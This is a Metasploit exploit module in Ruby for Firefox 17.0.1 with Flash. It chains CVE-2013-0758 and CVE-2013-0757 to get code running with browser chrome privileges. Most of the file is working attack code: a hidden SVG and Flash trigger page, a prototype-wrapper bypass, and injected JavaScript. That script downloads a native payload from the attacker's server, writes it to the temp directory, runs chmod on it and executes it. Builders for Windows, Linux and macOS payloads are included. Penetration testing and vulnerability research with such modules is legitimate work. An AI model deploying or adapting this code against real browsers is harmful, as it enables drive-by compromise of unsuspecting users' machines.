metasploit-framework/modules/exploits/multi/browser/firefox_svg_plugin.rb

314 lines
11 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::EXE
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::FF,
:ua_minver => "17.0",
:ua_maxver => "17.0.1",
:javascript => true,
:rank => NormalRanking
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox 17.0.1 Flash Privileged Code Injection',
'Description' => %q{
This exploit gains remote code execution on Firefox 17 and 17.0.1, provided
the user has installed Flash. No memory corruption is used.
First, a Flash object is cloned into the anonymous content of the SVG
"use" element in the <body> (CVE-2013-0758). From there, the Flash object
can navigate a child frame to a URL in the chrome:// scheme.
Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper
around the child frame's window reference and inject code into the chrome://
context. Once we have injection into the chrome execution context, we can write
the payload to disk, chmod it (if posix), and then execute.
Note: Flash is used here to trigger the exploit but any Firefox plugin
with script access should be able to trigger it.
},
'License' => MSF_LICENSE,
'Platform' => %w{ linux osx win },
'Targets' =>
[
[ 'Universal (Javascript XPCOM Shell)',
{
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
]
],
'DefaultTarget' => 0,
'Author' =>
[
'Marius Mlynski', # discovery & bug report
'joev', # metasploit module
'sinn3r' # metasploit fu
],
'References' =>
[
['CVE', '2013-0758'], # navigate a frame to a chrome:// URL
['CVE', '2013-0757'], # bypass Chrome Object Wrapper to talk to chrome://
['OSVDB', '89019'], # maps to CVE 2013-0757
['OSVDB', '89020'], # maps to CVE 2013-0758
['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906']
],
'DisclosureDate' => 'Jan 08 2013',
'BrowserRequirements' => {
:source => 'script',
:ua_name => HttpClients::FF,
:ua_ver => /17\..*/
}
))
register_options(
[
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] ),
OptBool.new('DEBUG', [false, "Display some alert()'s for debugging the payload.", false])
], Auxiliary::Timed)
end
def on_request_uri(cli, request)
my_target = get_target(request.headers['User-Agent'])
if my_target.nil?
print_error("User agent does not match an available payload type, bailing.")
send_not_found(cli)
return
end
target = my_target
if request.uri =~ /\.swf$/
# send Flash .swf for navigating the frame to chrome://
print_status("Sending .swf trigger.")
send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
elsif request.uri =~ /\.bin/
# send the binary payload to drop & exec
print_status("Child frame navigated. Sending binary payload to drop & execute.")
send_response(cli, dropped_file_contents(cli, target), { 'Content-Type' => 'application/octet-stream' })
else
# send initial HTML page
print_status("Target selected: #{target.name}")
print_status("Sending #{self.name}")
send_response_html(cli, generate_html(cli, target))
end
handler(cli)
end
# @return [String] the encoded executable for dropping onto the client's machine
def dropped_file_contents(cli, target)
return if ((p=regenerate_payload(cli)) == nil)
opts = target.opts
exe = ''
case target.name
when /windows/i
opts = opts.merge({:code=>p.encoded})
exe = generate_payload_exe(opts)
when /linux/i
exe = Msf::Util::EXE.to_linux_x86_elf(framework, p.encoded, opts)
when /os x/i
exe = Msf::Util::EXE.to_osx_x86_macho(framework, p.encoded, opts)
end
return exe
end
# @return [Msf::Module::Target] that matches the client's user-agent header
def get_target(agent)
# Not firefox, bail
if agent !~ /firefox/i
return nil
end
# User wants to manually specify a target, respect that
if target != targets[0]
return target
end
# os detection
if agent =~ /windows/i
targets[1]
elsif agent =~ /linux/i
targets[2]
elsif agent =~ /macintosh/i and agent =~ /intel/i
targets[3]
else
nil
end
end
# @return [String] the contents of the .swf file used to trigger the exploit
def flash_trigger
swf_path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0758.swf")
@flash_trigger ||= File.read(swf_path)
end
# @return [String] the filename that will be used when the payload is dropped
def payload_filename(target)
if target.name =~ /Windows x86/i
"#{Rex::Text.rand_text_alphanumeric(8)}.exe"
else
"#{Rex::Text.rand_text_alphanumeric(8)}.bin"
end
end
# @return [String] containing javascript code to execute with chrome privileges
def js_payload(cli, target)
if self.target.name =~ /Javascript/
regenerate_payload(cli).encoded
else
%Q|
#{js_debug("Injection successful. JS executing with chrome privileges.")}
var x = new XMLHttpRequest;
x.overrideMimeType('text/plain; charset=x-user-defined');
x.open('POST', '#{base_url}.bin', false);
x.send(null);
#{js_debug("'Payload: '+x.responseText", "")}
var file = Components.classes["@mozilla.org/file/directory_service;1"]
.getService(Components.interfaces.nsIProperties)
.get("TmpD", Components.interfaces.nsIFile);
file.append('#{payload_filename(target)}');
var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
.createInstance(Components.interfaces.nsIFileOutputStream);
stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0);
stream.write(x.responseText, x.responseText.length);
if (stream instanceof Components.interfaces.nsISafeOutputStream) {
stream.finish();
} else {
stream.close();
}
#{chmod_code(target)}
#{js_debug("'Downloaded to: '+file.path", "")}
var process = Components.classes["@mozilla.org/process/util;1"]
.createInstance(Components.interfaces.nsIProcess);
process.init(file);
process.run(false, [], 0);
|
end
end
# @return [String] containing javascript that will alert a debug string
# if the DEBUG is set to true
def js_debug(str, quote="'")
if datastore['DEBUG'] then "alert(#{quote}#{str}#{quote})" else '' end
end
# @return [String] containing javascript that will chmod the dropped executable
def chmod_code(target)
return '' if target.name == 'Windows x86 (Native Payload)'
%Q|
var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
chmod.initWithPath("/bin/chmod");
var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
process.init(chmod);
process.run(true, ["+x", file.path], 2);
|
end
# @return [String] URL for sending requests back to the module
def base_url
proto = (datastore["SSL"] ? "https" : "http")
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
"#{proto}://#{myhost}:#{datastore['SRVPORT']}#{get_resource}"
end
# @return [String] HTML that is sent in the first response to the client
def generate_html(cli, target)
vars = {
:symbol_id => 'a',
:random_domain => 'safe',
:payload => js_payload(cli, target),
:payload_var => 'c',
:payload_key => 'k',
:payload_obj_var => 'payload_obj',
:interval_var => 'itvl',
:access_string => 'access',
:frame_ref => 'frames[0]',
:frame_name => 'n',
:loader_path => "#{base_url}.swf",
:content => self.datastore['CONTENT'] || ''
}
%Q|
<!doctype html>
<html>
<head>
<base href="chrome://browser/content/">
</head>
<body>
<svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
<symbol id="#{vars[:symbol_id]}">
<foreignObject>
<object></object>
</foreignObject>
</symbol>
<use />
</svg>
<script>
var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})};
var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
function $() {
document.querySelector('base').href = "http://www.#{vars[:random_domain]}.com/";
}
function _() {
return '#{vars[:frame_name]}';
}
var #{vars[:interval_var]} = setInterval(function(){
try{ #{vars[:frame_ref]}['#{vars[:access_string]}'] }
catch(e){
clearInterval(#{vars[:interval_var]});
var p = Object.getPrototypeOf(#{vars[:frame_ref]});
var o = {__exposedProps__: {setTimeout: "rw", call: "rw"}};
Object.prototype.__lookupSetter__("__proto__").call(p, o);
p.setTimeout.call(#{vars[:frame_ref]}, #{vars[:payload_var]}, 1);
}
}, 100);
document.querySelector('object').data = "#{vars[:loader_path]}";
document.querySelector('use').setAttributeNS(
"http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
);
</script>
<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
name="#{vars[:frame_name]}"></iframe>
#{vars[:content]}
</body>
</html>
|
end
end